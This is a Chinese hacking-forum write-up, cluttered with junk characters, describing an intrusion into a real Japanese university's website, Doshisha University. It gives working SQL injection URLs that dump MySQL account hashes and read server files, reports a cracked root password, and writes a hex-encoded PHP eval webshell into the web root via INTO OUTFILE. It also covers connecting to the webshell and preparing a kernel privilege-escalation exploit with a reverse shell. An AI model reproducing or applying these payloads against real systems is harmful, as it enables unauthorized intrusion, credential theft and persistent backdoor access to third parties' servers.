入侵日本同志社大学技术分析6 N2 V0 G6 E7 H4 s/ Y7 ?
& N' K# Z5 a& f* L
http://www.doshisha.ac.jp/chs/news/index.php?i=-11 K- {9 F+ z2 r/ Q" p9 f1 y
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
$ G; _ ~' ^' E1 N# Q* S
+ I* ^& j: r+ i+ Dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user$ S/ |& I9 v/ }3 D6 ~( u
! i* L# ^ V8 N' ?
" n U$ ~4 e4 j% g# r$ G
7 X( x0 S& L- ^- o; A n//@@datadir为数据库文件路径 8 o Q+ V' r* x- {4 N
9 o" E" A" [% D# u, {. ~6 S8 ]$ L# @8 Q; a% b4 ~4 M. U
//load_file读取网站容器apache的配置文件 O6 Y e1 M. d8 o) o; D
, m& c: _1 L4 e; w# k5 T1 P1 \6 Y% ]% j
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 " D m) k9 r3 R8 w3 \
复制代码
& B, r: P, \+ d) ?0 Z% c) c/ h8 |3 S2 _
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
9 `$ Q: n% J8 c# W( G- w7 o. Q2 U& H# v7 u' ]
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
7 B t4 S% L1 C" }3 v+ ?% l5 O(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)$ d! j* _8 Z, _* p4 ^" `( W: W
; |, B6 N2 x& C+ [
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。. S# }; O* b% [" ?' |# M( q, u: z
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html6 [2 w1 N0 V1 W4 t$ O! d( D
: [# b, Y* l6 D( W6 m既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
% y3 `; Y! n8 x( F- M6 ~虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。& F1 P: w' k2 h
直接写一句话:
3 z& m% L/ j+ o$ p
" c, T* _; p+ S2 R1 F* qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
b' c0 Q9 X% ~/ T: n8 }* \. [
4 K$ k# G1 ?! A% a% o2 | 1 A( F- k4 ]' m# z4 X5 K
7 b8 n& D- Q- ?8 O- F$ j//最后的#是为了闭合前面的语句 9 \2 ]5 r3 d0 A9 r& s. e
% d0 i5 L/ S8 ~$ X7 ]; h9 c" P
0 J& t0 j3 A/ |3 `5 f/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 2 z0 }) t7 R4 o+ B5 u- U" Y
5 E; v' C' B w) r7 g( a( X- E, M+ M2 j$ h) ~* k
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ % X& K' g! A. C# K: Z) h2 G
3 g2 R2 g" U& p0 d7 N1 ~, y0 E$ }' G1 s5 t; H1 v8 T* H
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 4 l" v& m: o/ f& `8 I- o
! ^8 e3 I& i2 A& O, o o }$ S
& m5 m$ E% R+ t1 p: W, |0 k- S//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
( s0 [) r; d3 }& E# p//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
. b& d9 v6 n8 z6 V* A5 ]) n" u复制代码, F0 w0 V$ l0 g, O
# d1 Q- x, i1 f0 ~# `0 S3 J* \HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
: b% F. |8 B X+ G2 [通过上述注入语句,我们就得到了一句话木马:
5 N* P. B4 f+ G$ f% _0 E( R4 T. R6 s1 P7 J2 E
8 y( p: q( N' n7 T7 L/ M5 u# }
) c5 [2 w0 h! _
% [& u% ^2 M9 R) m: Q) J; z
$ P- K2 z- T! j" ehttp://www.doshisha.ac.jp/english/engnews_img/aa.php
1 F4 N! C+ U9 u% P复制代码; @7 L+ k; p' W! k
# X* U1 N! J) n$ z( M3 O
用菜刀连接,密码是cmd,如图所示:6 P! A8 r3 d; e" ~: r9 ]& ?
然后在命令提示行里看了一下,现在的权限是:' i I7 j& ~1 I' b( E3 b7 \
: N# K( A6 m: Z; D之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
9 K. P, ]5 S# n好在赋权给这个文件夹不需要root,直接执行赋权语句:0 _& v1 r% f0 S, ]. O
2 n- e1 h& Y! e3 E+ }
o3 U y- [7 k2 m( A& S9 i1 |
. {- {, _4 m0 q2 Z
$ T% J h l3 v/ l; y" a2 z
5 V) b' L9 Z: Z- tchmod +x /tmp/
2 W# E1 k, d$ c; A! f8 u+ T复制代码
8 @, @4 s) {2 h# q& K, c0 E
3 ]- I# e$ @* r5 v6 t* ^9 H在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行! d. G/ H0 W+ v2 W. }: K
然后就查了一下内核版本:
: K/ \4 W" q! Y% y0 J
2 X. U+ f9 b# B : W6 L. a' p! t
2 _* i, |9 T7 \: _0 {, A. ^ & l7 o- W0 k2 j8 l
: j$ T* Z! [- quname-a
( `- F& x# e1 w, W- \ $ p) T0 |) G# p2 k/ z: {
1 K' m% |( M% Z2 y//其实lsb_release -a
. ^8 W: `3 ]. t$ T; f) t8 u复制代码
3 N3 p2 e4 ]- Z. J' Q: p# n7 w9 \
如图所示:
~, H0 _1 D$ _
( W, R0 }& a2 |& I; Z" [# W. Y内核版本:linux mainz1 2.6.28-194.e15
, H% f0 S r# R+ S/ M$ k+ O; d7 @系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga): W: a1 C5 w% i/ T
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" c2 ~" J9 b% _+ ^5 Q# T2 G9 G" r* y; Z0 z1 S }+ n! W( }
然后给予执行权限
: r4 ]4 j) e: G' {1 u) F一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样0 c+ @$ `% M& C' W5 O
# p$ r/ d: k% x
* R! o$ q' n$ j4 \5 F: I7 k
" o+ C0 S% }5 T. r" M2 B$ \
) q: u* A( k/ p; J: q* N' w3 c# U7 { x) ^* {( R6 ?5 K2 m1 E7 V, p
chmod +x /tmp/2.6.18-194
( @# ~, E$ y5 Z复制代码 然后直接执行!~
' m' V( Z1 ?- ?$ Q5 }" j7 A
1 ~$ p* H7 V) u' i" R1 |总结:4 E6 k3 L' o9 W$ `9 N
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
; K4 C/ ?% ]+ ~提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root2 A$ k- b* ` ]% c8 c t
& F. F/ i4 ?' I0 J; T
|